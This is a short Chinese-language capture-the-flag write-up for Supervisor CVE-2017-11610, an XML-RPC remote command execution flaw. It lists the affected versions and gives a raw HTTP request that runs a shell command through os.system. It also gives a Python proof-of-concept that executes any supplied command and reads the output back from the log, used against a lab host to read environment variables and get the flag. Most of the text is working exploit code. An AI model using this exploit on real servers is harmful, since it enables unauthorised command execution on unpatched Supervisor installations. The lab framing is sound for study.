buuctf [Supervisor]CVE-2017-11610

漏洞描述

Supervisor是一套进程控制系统，用于监视和控制类Unix系统上的进程。XML-RPC server是其中的一个XML-RPC服务器。 Supervisor中的XML-RPC服务器存在安全漏洞。远程攻击者可借助特制的XML-RPC请求利用该漏洞执行任意命令。
https://blog.youkuaiyun.com/qq_37964989/article/details/89454076

漏洞影响

supervisor 3.0.1之前的版本，3.1.4之前的3.1.x版本，3.2.4之前的3.2.x版本，3.3.3之前的3.3.x版本。

漏洞复现

直接执行任意命令：

POST /RPC2 HTTP/1.1
Host: node3.buuoj.cn:29053
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=1785a4ff130456-0f22e64e92af97-4c3f227c-1fa400-1785a4ff131385; qSq_sid=TwroyT; qSq_visitedfid=2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 215

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

命令执行成功

直接回显的POC

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

python exp.py “http://node3.buuoj.cn:29053” “ls”

python exp.py “http://node3.buuoj.cn:29053” “env” 拿到flag